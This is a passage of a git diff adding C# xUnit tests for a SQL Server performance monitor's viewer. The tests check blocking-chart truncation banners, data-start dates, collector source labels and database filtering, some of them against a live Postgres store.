+        var trends = Case("BlockingTrendsSubTabIndex");
+
+        Assert.Contains("ViewerReadFanOut.Of(6)", trends, StringComparison.Ordinal);
+        /* Every probe is watched by the helper, and none is inside the join. */
+        Assert.Matches(@"Task\.WhenAll\(lockWaitTask,\s*blockingTask,\s*deadlockTask\),\s*lockWaitStartTask,\s*""Lock Wait Trend""\)", trends);
+        Assert.Contains("blockingStartTask, \"Blocking Trend\")", trends, StringComparison.Ordinal);
+        Assert.Contains("deadlockStartTask, \"Deadlock Trend\")", trends, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"WhenAll\([^)]*StartTask", trends);
+        /* Lock Wait is a rate series: its note names the coverage alone, never the drawn points. */
+        Assert.Contains("UpdateTruncationBanner(LockWaitTrendTruncationBanner, await DataStartOrNullAsync(lockWaitStartTask, \"Lock Wait Trend\"), startUtc)", trends, StringComparison.Ordinal);
+        Assert.DoesNotContain("LockWaitTimesDrawn", trends, StringComparison.Ordinal);
+        /* Released at the join, before any banner await. */
+        Assert.True(trends.IndexOf("readFanOut.Release()", StringComparison.Ordinal) is var rel && rel > trends.IndexOf("AwaitReadWatchingProbeAsync(", StringComparison.Ordinal)
+            && rel < trends.IndexOf("await DataStartOrNullAsync", StringComparison.Ordinal));
+        Assert.Matches(@"ShowEventDataStartAsync\(BlockingTrendTruncationBanner, blockingStartTask,", trends);
+        Assert.Matches(@"ShowEventDataStartAsync\(DeadlockTrendTruncationBanner, deadlockStartTask,", trends);
+        Assert.Contains("lockWaitStartTask = _dataService.GetLockWaitTrendDataStartAsync(", trends, StringComparison.Ordinal);
+        Assert.Contains("blockingStartTask = _dataService.GetBlockingChartDataStartAsync(", trends, StringComparison.Ordinal);
+        Assert.Contains("deadlockStartTask = _dataService.GetDeadlocksDataStartAsync(", trends, StringComparison.Ordinal);
+        Assert.True(trends.IndexOf("GetLockWaitTrendDataStartAsync", StringComparison.Ordinal) < trends.IndexOf("await AwaitReadWatchingProbeAsync", StringComparison.Ordinal),
+            "the probes start before the reads are awaited");
+    }
+
+    [Fact]
+    public void Stats_HasOneBannerPerFloor_FedFromItsOwnProbe_OutsideAnyJoin()
+    {
+        var stats = Case("BlockingStatsSubTabIndex");
+
+        Assert.Contains("ViewerReadFanOut.Of(5)", stats, StringComparison.Ordinal);
+        Assert.Matches(@"Task\.WhenAll\(durationStatsTask,\s*deadlockCountTask,\s*deadlockSeverityTask\),\s*blockingStartTask,\s*""Blocking Stats \(blocking\)""\)", stats);
+        Assert.Contains("deadlockStartTask, \"Blocking Stats (deadlocks)\")", stats, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"WhenAll\([^)]*StartTask", stats);
+        Assert.True(stats.IndexOf("readFanOut.Release()", StringComparison.Ordinal) is var rel && rel > stats.IndexOf("AwaitReadWatchingProbeAsync(", StringComparison.Ordinal)
+            && rel < stats.IndexOf("ShowEventDataStartAsync", StringComparison.Ordinal));
+        Assert.Matches(@"BlockingStatsBlockingTruncationBanner, blockingStartTask,", stats);
+        Assert.Matches(@"BlockingStatsDeadlockTruncationBanner, deadlockStartTask,", stats);
+        Assert.Contains("blockingStartTask = _dataService.GetBlockingChartDataStartAsync(", stats, StringComparison.Ordinal);
+        Assert.Contains("deadlockStartTask = _dataService.GetDeadlocksDataStartAsync(", stats, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheXaml_DeclaresFiveBannersInAutoRows_AboveTheirCharts()
+    {
+        foreach (var name in new[] { "LockWaitTrend", "BlockingTrend", "DeadlockTrend", "BlockingStatsBlocking", "BlockingStatsDeadlock" })
+        {
+            var m = Regex.Match(Xaml, $@"<TextBlock Grid\.Row=""(\d)""[^>]*x:Name=""{name}TruncationBanner"" Visibility=""Collapsed""[^>]*Background=""#22FFAA00""/>", RegexOptions.Singleline);
+            Assert.True(m.Success, name);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerBlockingChartsDataStartTests.cs b/Darling/Darling.Tests/ViewerBlockingChartsDataStartTests.cs
new file mode 100644
index 0000000000..fe6e54c1b7
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockingChartsDataStartTests.cs
@@ -0,0 +1,69 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Blocking tab's event and zero-fill charts draw as an event, and what their "Showing since" note names (#4966): the earlier
+/// of the coverage start and the earliest bucket the chart actually draws. A zero bucket is the chart's baseline, not an event.
+/// Pure logic: no WPF object is built, so every fact runs on any platform.
+/// </summary>
+public sealed class ViewerBlockingChartsDataStartTests
+{
+    private static readonly DateTime RangeStart = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    private static DateTime At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    [Fact]
+    public void ACountChart_DrawsOnlyTheNonZeroBuckets_AsEvents()
+    {
+        var data = new[] { new BlockingTrendPoint(At(1), 0), new BlockingTrendPoint(At(2), 3), new BlockingTrendPoint(At(3), 1) };
+
+        Assert.Equal(new DateTime?[] { At(2), At(3) }, ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(data).ToArray());
+        Assert.Empty(ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(Array.Empty<BlockingTrendPoint>()));
+    }
+
+    /* The first non-zero bucket is later than the coverage: the note names the coverage. An event earlier than the coverage (a first
+       collection's history) wins. A chart with only zero buckets still names the coverage. */
+    [Fact]
+    public void TheStart_IsTheEarlierOfTheCoverageAndTheFirstBucketDrawn()
+    {
+        var later = new[] { new BlockingTrendPoint(At(2), 4) };
+        var earlier = new[] { new BlockingTrendPoint(At(0, 6), 1), new BlockingTrendPoint(At(2), 4) };
+        var zeros = new[] { new BlockingTrendPoint(At(1), 0) };
+
+        Assert.Equal(At(2), StartOf(At(2), later));
+        Assert.Equal(At(2), StartOf(At(2), zeros));
+        Assert.Equal(At(0, 6), StartOf(At(2), earlier));
+    }
+
+    [Fact]
+    public void AnEmptyRead_NamesTheCoverageAlone_AndNothingWithoutOne()
+    {
+        Assert.Equal(At(2), StartOf(At(2), Array.Empty<BlockingTrendPoint>()));
+        Assert.Null(StartOf(null, Array.Empty<BlockingTrendPoint>()));
+    }
+
+    [Fact]
+    public void AProbeThatThrows_CostsOnlyTheNote()
+    {
+        /* A failed probe has no coverage; the note is dropped even though buckets were drawn. */
+        var drawn = new[] { new BlockingTrendPoint(At(3), 2) };
+        Assert.Null(ViewerEventDataStart.Of(null, ViewerEventDataStart.EarliestOf(ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(drawn).ToList()), probeFailed: true));
+    }
+
+    private static DateTime? StartOf(DateTime? coverage, BlockingTrendPoint[] drawn) =>
+        ViewerEventDataStart.Of(coverage, ViewerEventDataStart.EarliestOf(ViewerBlockingChartsDataStart.BlockingTrendTimesDrawn(drawn).ToList()));
+}
diff --git a/Darling/Darling.Tests/ViewerBlockingSourceLabelTests.cs b/Darling/Darling.Tests/ViewerBlockingSourceLabelTests.cs
new file mode 100644
index 0000000000..59e75bfa47
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockingSourceLabelTests.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244: the desktop viewer's blocking charts name the collector that answered, the same way Lite's do (<c>BlockingSourceLabel</c> is
+/// shared). The trend and severity reads tag each point with the arm that answered, and the Trends tab's Blocking Incidents chart and
+/// the Blocking Stats tab's two duration charts put it on the axis only when they draw rows. The Blocking Severity read also follows
+/// the database filter now, like the Trends tab's count: the SQL binds <c>$5</c> on both arms, and the tab passes the chosen names to
+/// the read and to its data-start probe.
+/// </summary>
+public sealed class ViewerBlockingSourceLabelTests
+{
+    private static readonly DateTime T0 = new(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string Tab => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.Blocking.cs").ReplaceLineEndings("\n");
+
+    private static List<BlockingTrendPoint> Trend(string? source) => new() { new BlockingTrendPoint(T0, 2, source), new BlockingTrendPoint(T0.AddMinutes(1), 1, source) };
+
+    private static List<BlockingDurationStatsPoint> Stats(string? source) => new() { new BlockingDurationStatsPoint(T0, 2, 500, 300, 250, source) };
+
+    [Fact]
+    public void TrendChart_XeOnly_DmvOnly_AndEmpty()
+    {
+        Assert.Equal("Blocking Incidents (blocked-process-report)", BlockingSourceLabel.For("Blocking Incidents", Trend("blocked-process-report").Select(d => d.Source)));
+        Assert.Equal("Blocking Incidents (DMV snapshot)", BlockingSourceLabel.For("Blocking Incidents", Trend("DMV snapshot").Select(d => d.Source)));
+        Assert.Equal("Blocking Incidents", BlockingSourceLabel.For("Blocking Incidents", new List<BlockingTrendPoint>().Select(d => d.Source)));
+    }
+
+    [Fact]
+    public void StatsCharts_XeOnly_DmvOnly_AndEmpty()
+    {
+        Assert.Equal("Block Duration (ms) (blocked-process-report)", BlockingSourceLabel.For("Block Duration (ms)", Stats("blocked-process-report").Select(d => d.Source)));
+        Assert.Equal("Total Block Duration (ms) (DMV snapshot)", BlockingSourceLabel.For("Total Block Duration (ms)", Stats("DMV snapshot").Select(d => d.Source)));
+        Assert.Equal("Total Block Duration (ms)", BlockingSourceLabel.For("Total Block Duration (ms)", new List<BlockingDurationStatsPoint>().Select(d => d.Source)));
+    }
+
+    [Fact]
+    public void RowsWithNoSource_KeepThePlainLabel_AsTheDeadlockTrendDoes()
+    {
+        /* The deadlock trend shares the point type and never sets a source. */
+        Assert.Equal("Deadlocks", BlockingSourceLabel.For("Deadlocks", Trend(null).Select(d => d.Source)));
+    }
+
+    [Fact]
+    public void TheTags_AreTheOnesTheSqlTextsEmit()
+    {
+        foreach (var sql in new[] { ViewerDataService.BlockingTrendSql, ViewerDataService.BlockingDurationStatsSql })
+        {
+            Assert.Contains("'" + BlockingSourceLabel.BlockedProcessReport + "' AS source", sql, StringComparison.Ordinal);
+            Assert.Contains("'" + BlockingSourceLabel.DmvSnapshot + "' AS source", sql, StringComparison.Ordinal);
+            Assert.Contains("source FROM bpr", sql, StringComparison.Ordinal);
+            Assert.Contains("source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheCharts_PutTheLabelOnTheAxisOnlyWhenTheyDrawRows()
+    {
+        var trend = Between(Tab, "private void RenderBlockingTrendChart(", "private void RenderDeadlockTrendChart(");
+        var duration = Between(Tab, "private void RenderBlockingDurationChart(", "private void RenderBlockingTotalDurationChart(");
+        var total = Between(Tab, "private void RenderBlockingTotalDurationChart(", "private void RenderDeadlockWaitChart(");
+
+        Assert.Single(Occurrences(trend, "BlockingSourceLabel.For(\"Blocking Incidents\", data.Select(d => d.Source))"));
+        Assert.Single(Occurrences(duration, "BlockingSourceLabel.For(\"Block Duration (ms)\", data.Select(d => d.Source))"));
+        Assert.Single(Occurrences(total, "BlockingSourceLabel.For(\"Total Block Duration (ms)\", data.Select(d => d.Source))"));
+        /* The zero-row branch returns before it: nothing answered, so nothing is named. */
+        foreach (var chart in new[] { trend, duration, total })
+            Assert.DoesNotContain("BlockingSourceLabel", chart[..chart.IndexOf("return;", StringComparison.Ordinal)], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSeverityRead_TakesTheDatabaseFilter_OnBothArms()
+    {
+        var sql = ViewerDataService.BlockingDurationStatsSql;
+        Assert.Equal(2, Occurrences(sql, "AND   ($5::text[] IS NULL OR database_name = ANY($5))").Count());
+
+        var read = Between(ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.BlockingStats.cs").ReplaceLineEndings("\n"),
+            "public async Task<List<BlockingDurationStatsPoint>> GetBlockingDurationStatsAsync(", "The deadlock graphs in the window");
+        Assert.Contains("IReadOnlyList<string>? databaseNames = null", read, StringComparison.Ordinal);
+        Assert.Contains("DatabaseFilterParameter(databaseNames)", read, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBlockingStatsTab_PassesTheFilter_ToTheSeverityReadAndItsProbe()
+    {
+        var stats = Between(Tab, "case BlockingStatsSubTabIndex:", "break;");
+        Assert.Contains("GetBlockingDurationStatsAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter)", stats, StringComparison.Ordinal);
+        Assert.Contains("GetBlockingChartDataStartAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter)", stats, StringComparison.Ordinal);
+    }
+
+    private static IEnumerable<int> Occurrences(string text, string needle)
+    {
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+            yield return i;
+    }
+
+    private static string Between(string text, string from, string to)
+    {
+        var start = text.IndexOf(from, StringComparison.Ordinal);
+        Assert.True(start >= 0, from);
+        var end = text.IndexOf(to, start + from.Length, StringComparison.Ordinal);
+        Assert.True(end > start, to);
+        return text[start..end];
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerBlockingSourceLivePostgresTests.cs b/Darling/Darling.Tests/ViewerBlockingSourceLivePostgresTests.cs
new file mode 100644
index 0000000000..4b1716e849
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockingSourceLivePostgresTests.cs
@@ -0,0 +1,194 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244: the desktop viewer's blocking reads, live. The Blocking Severity read (<c>GetBlockingDurationStatsAsync</c>) used to take no
+/// database filter, so the Blocking Stats tab drew every database's blocking under a chosen filter while the Trends tab's count
+/// followed it. It now binds the same <c>text[]</c> the trend binds, on both arms, and both reads tag each point with the arm that
+/// answered ("blocked-process-report" or "DMV snapshot") so the charts can name it. The mixed server holds an XE report for A, and DMV
+/// rows for A and B, so the answer flips with the filter: [A] and [A, B] and no filter read the XE arm, [B] alone reads the DMV arm.
+/// Gated on DARLING_TEST_PG, serialized in the "live-postgres" collection, and it uses negative sentinel server ids and cleans up in
+/// finally.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ViewerBlockingSourceLivePostgresTests
+{
+    private const int MixedServerId = -972201;
+    private const int XeOnlyServerId = -972202;
+    private const int DmvOnlyServerId = -972203;
+    private const int EmptyServerId = -972204;
+    private static readonly int[] ServerIds = { MixedServerId, XeOnlyServerId, DmvOnlyServerId, EmptyServerId };
+
+    private const string Xe = "blocked-process-report";
+    private const string Dmv = "DMV snapshot";
+
+    [Fact]
+    public async Task BlockingSeverityAndTrend_FollowTheDatabaseFilter_AndNameTheArmThatAnswered_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking source test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAllAsync(connection, ct);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var start = TruncateToMinute(DateTime.UtcNow.AddMinutes(-20));
+            var end = start.AddMinutes(30);
+            var m0 = start.AddMinutes(1);
+            var m1 = start.AddMinutes(3);
+            var m2 = start.AddMinutes(5);
+
+            /* The mixed server: an XE report for A (1,000 ms), and DMV rows for B (7,000 ms) and for A (5,000 ms). */
+            await InsertBlockedProcessReportAsync(connection, MixedServerId, m0, "A", 1000, ct);
+            await InsertDmvBlockingSnapshotAsync(connection, MixedServerId, m1, "B", 7000, ct);
+            await InsertDmvBlockingSnapshotAsync(connection, MixedServerId, m2, "A", 5000, ct);
+            /* An XE-only server (A and B) and a DMV-only server (A). The empty server has no rows. */
+            await InsertBlockedProcessReportAsync(connection, XeOnlyServerId, m0, "A", 1000, ct);
+            await InsertBlockedProcessReportAsync(connection, XeOnlyServerId, m1, "B", 2000, ct);
+            await InsertDmvBlockingSnapshotAsync(connection, DmvOnlyServerId, m1, "A", 3000, ct);
+
+            /* [A]: the XE arm holds A's report, so it answers and A's DMV rows stay out. */
+            var a = new[] { "A" };
+            var statsA = await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, a, ct);
+            var onlyA = Assert.Single(statsA);
+            Assert.Equal(1000, onlyA.TotalDurationMs);
+            Assert.Equal(Xe, onlyA.Source);
+            var trendA = await viewer.GetBlockingTrendAsync(MixedServerId, start, end, a, ct);
+            Assert.Equal((1, Xe), Assert.Single(trendA.Select(p => (p.Count, p.Source!))));
+
+            /* [B]: the XE arm holds nothing for B, so the DMV arm answers with B's row ALONE. Before #5244 the severity read ignored
+               the filter and drew the XE row for A here. */
+            var b = new[] { "B" };
+            var statsB = await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, b, ct);
+            var onlyB = Assert.Single(statsB);
+            Assert.Equal(7000, onlyB.TotalDurationMs);
+            Assert.Equal(1, onlyB.EventCount);
+            Assert.Equal(Dmv, onlyB.Source);
+            var trendB = await viewer.GetBlockingTrendAsync(MixedServerId, start, end, b, ct);
+            Assert.Equal((1, Dmv), Assert.Single(trendB.Select(p => (p.Count, p.Source!))));
+
+            /* [A, B]: the XE arm holds A's report, so it answers and B's DMV-only event drops out: the case [B] alone showed. */
+            var ab = new[] { "A", "B" };
+            var statsAb = await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, ab, ct);
+            var onlyXe = Assert.Single(statsAb);
+            Assert.Equal(1000, onlyXe.TotalDurationMs);
+            Assert.Equal(Xe, onlyXe.Source);
+
+            /* No filter (null, and an empty list): the XE arm answers. */
+            Assert.Equal(Xe, Assert.Single(await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, null, ct)).Source);
+            Assert.Equal(Xe, Assert.Single(await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, Array.Empty<string>(), ct)).Source);
+
+            /* A filter that matches nothing on either arm: no rows, so no source to name. */
+            Assert.Empty(await viewer.GetBlockingDurationStatsAsync(MixedServerId, start, end, new[] { "C" }, ct));
+            Assert.Empty(await viewer.GetBlockingTrendAsync(MixedServerId, start, end, new[] { "C" }, ct));
+
+            /* XE-only, DMV-only and empty servers: the tag follows the data, on both reads. */
+            var xeOnlyStats = await viewer.GetBlockingDurationStatsAsync(XeOnlyServerId, start, end, null, ct);
+            Assert.Equal(2, xeOnlyStats.Count);
+            Assert.All(xeOnlyStats, p => Assert.Equal(Xe, p.Source));
+            Assert.All(await viewer.GetBlockingTrendAsync(XeOnlyServerId, start, end, null, ct), p => Assert.Equal(Xe, p.Source));
+            var xeOnlyB = Assert.Single(await viewer.GetBlockingDurationStatsAsync(XeOnlyServerId, start, end, b, ct));
+            Assert.Equal(2000, xeOnlyB.TotalDurationMs);
+
+            Assert.Equal(Dmv, Assert.Single(await viewer.GetBlockingDurationStatsAsync(DmvOnlyServerId, start, end, null, ct)).Source);
+            Assert.Equal(Dmv, Assert.Single(await viewer.GetBlockingTrendAsync(DmvOnlyServerId, start, end, null, ct)).Source);
+            Assert.Empty(await viewer.GetBlockingDurationStatsAsync(DmvOnlyServerId, start, end, b, ct));
+
+            Assert.Empty(await viewer.GetBlockingDurationStatsAsync(EmptyServerId, start, end, null, ct));
+            Assert.Empty(await viewer.GetBlockingTrendAsync(EmptyServerId, start, end, null, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteAllAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task InsertBlockedProcessReportAsync(
+        NpgsqlConnection connection, int serverId, DateTime eventTimeUtc, string database, long waitTimeMs, System.Threading.CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text,
+     blocked_process_report_xml, contentious_object)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)", connection);
+        command.Parameters.AddWithValue(1L);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTimeUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue("viewer-blocking-source-e2e");
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTimeUtc.AddSeconds(5), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(database);
+        command.Parameters.AddWithValue(55);
+        command.Parameters.AddWithValue(60);
+        command.Parameters.AddWithValue(waitTimeMs);
+        command.Parameters.AddWithValue("X");
+        command.Parameters.AddWithValue("SELECT 1");
+        command.Parameters.AddWithValue("UPDATE t SET c = 1");
+        command.Parameters.AddWithValue("<blocked/>");
+        command.Parameters.AddWithValue("dbo.t");
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertDmvBlockingSnapshotAsync(
+        NpgsqlConnection connection, int serverId, DateTime eventTimeUtc, string database, long waitTimeMs, System.Threading.CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(@"
+INSERT INTO dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text, contentious_object)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)", connection);
+        command.Parameters.AddWithValue(1L);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTimeUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue("viewer-blocking-source-e2e");
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTimeUtc.AddSeconds(5), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(database);
+        command.Parameters.AddWithValue(155);
+        command.Parameters.AddWithValue(160);
+        command.Parameters.AddWithValue(waitTimeMs);
+        command.Parameters.AddWithValue("S");
+        command.Parameters.AddWithValue("SELECT 2");
+        command.Parameters.AddWithValue("UPDATE t SET c = 2");
+        command.Parameters.AddWithValue("dbo.t");
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /* Both reads bucket by DATE_TRUNC('minute', event_time); anchoring on a minute boundary keeps added seconds from splitting a bucket. */
+    private static DateTime TruncateToMinute(DateTime value) =>
+        DateTime.SpecifyKind(new DateTime(value.Ticks - (value.Ticks % TimeSpan.TicksPerMinute)), DateTimeKind.Unspecified);
+
+    private static async Task DeleteAllAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        var ids = string.Join(", ", ServerIds);
+        foreach (var table in new[] { "blocked_process_reports", "dmv_blocking_snapshots" })
+        {
+            using var cleanup = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id IN ({ids});", connection);
+            await cleanup.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerButtonAccessKeyTests.cs b/Darling/Darling.Tests/ViewerButtonAccessKeyTests.cs
index 8b2da2fd11..aaf0e3f20f 100644
--- a/Darling/Darling.Tests/ViewerButtonAccessKeyTests.cs
+++ b/Darling/Darling.Tests/ViewerButtonAccessKeyTests.cs
@@ -77,6 +77,8 @@ namespace Darling.Tests;
 /// shared reader keeps it out of <c>RepoFileAdoptionTests</c>' rosters — which are shared censuses under
 /// concurrent edit, and a roster entry is a merge conflict this rule does not need.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class ViewerButtonAccessKeyTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs b/Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs
index 85cfb3d01a..14a9c3c65c 100644
--- a/Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs
+++ b/Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs
@@ -31,6 +31,7 @@ namespace Darling.Tests;
 /// the viewer's row makes the MCP row's decision from the same facts, that the horizon it judges against is the
 /// horizon the MCP publishes and the purge enforces, and that a grey cell now says why it is grey.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerCalendarRetentionPortTests
 {
     private static readonly DateTime Today = new(2026, 8, 19, 0, 0, 0, DateTimeKind.Utc);
@@ -284,6 +285,7 @@ public void LiteAndViewerRows_AreTwins_OnTheRetentionMembers()
 /// wrong state), and the fixture's rows for these servers are removed either way.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class ViewerCalendarRetentionLivePostgresTests
 {
     private const int ServerId = -936537;
@@ -314,7 +316,8 @@ public async Task Calendar_BandsAPurgedDayNoData_AndJudgesAgainstTheMcpHorizon_A
 
             var purgedDay = viewerHorizon.AddDays(-10);
             var pastHorizonDay = viewerHorizon.AddDays(-5);
-            var collectedDay = DateTime.UtcNow.Date.AddDays(-2);
+            var today = DateTime.UtcNow.Date; // #5496: one reading, so the collected day and the absent day below cannot land on the same date
+            var collectedDay = today.AddDays(-2);
 
             /* The purged shape: a run record and nothing else. The past-horizon shape: a run record plus one
                surviving signal (a deadlock). The collected shape: a run record inside retention. */
@@ -357,7 +360,7 @@ surviving signal (a deadlock). The collected shape: a run record inside retentio
             var absentBefore = await viewer.GetDailySummaryAsync(ServerId, viewerHorizon.AddDays(-15), ct);
             Assert.Equal(DailySummaryDataState.Purged, absentBefore!.DataState);
             Assert.False(absentBefore.HasData);
-            var absentInside = await viewer.GetDailySummaryAsync(ServerId, DateTime.UtcNow.Date.AddDays(-3), ct);
+            var absentInside = await viewer.GetDailySummaryAsync(ServerId, today.AddDays(-3), ct);
             Assert.Equal(DailySummaryDataState.NoRunRecord, absentInside!.DataState);
 
             bodySucceeded = true;
diff --git a/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartLiveTests.cs
new file mode 100644
index 0000000000..8e86f2a7d1
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartLiveTests.cs
@@ -0,0 +1,475 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Query Store Clutter panel and Memory Pressure Events chart against a real store (#4966). Each case runs the
+/// calls the server tab makes (the surface's read, the data-start probe) and then the tab's own banner step on a real banner
+/// control, and reads what the banner says.
+///
+/// <para><b>Query Store Clutter</b> draws from two ranged sources: the plan churn from <c>query_store_stats</c>, a raw relation the gated
+/// purge owns, whose coverage is the oldest row the server holds at or before the window's end (or the server's first collection when
+/// it holds none), and the read cost from the query_store collector's runs in the collection log, whose coverage is its own horizon or
+/// the server's first collection. The probe asks both and names the LATER start: a range that reaches before it names it, and a range
+/// both sources cover names nothing, whenever the first row of the range came. Another collector's runs are not the read cost (#5022):
+/// they neither make a server count nor move the note earlier.</para>
+///
+/// <para><b>Memory Pressure Events</b> is SPARSE (a server goes days with no pressure event), so its edge is the schedule's purge
+/// cutoff, never its oldest row: a quiet week with one event at its end is covered and names nothing, where a walk to the oldest row
+/// would name that event as if the store began there. The chart filters on each event's own time, which can come before the
+/// server's first collection (the ring buffer's history), and the note names that event.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerClutterAndMemoryPressureDataStartLiveTests
+{
+    private const int ClutterNewServerId = -496641;
+    private const int ClutterQuietServerId = -496642;
+    private const int ClutterNoRowsServerId = -496643;
+    private const int MemoryQuietWeekServerId = -496644;
+    private const int MemoryNewServerId = -496645;
+    private const int MemoryHistoryServerId = -496646;
+    private const int ClutterLogLaterServerId = -496647;
+    private const int ClutterStatsOnlyServerId = -496648;
+    private const int ClutterLogOnlyServerId = -496649;
+    private const int ClutterNeitherServerId = -496650;
+    private const int ClutterOtherCollectorEarlierServerId = -496651;
+    private const int ClutterRunsOnlyServerId = -496652;
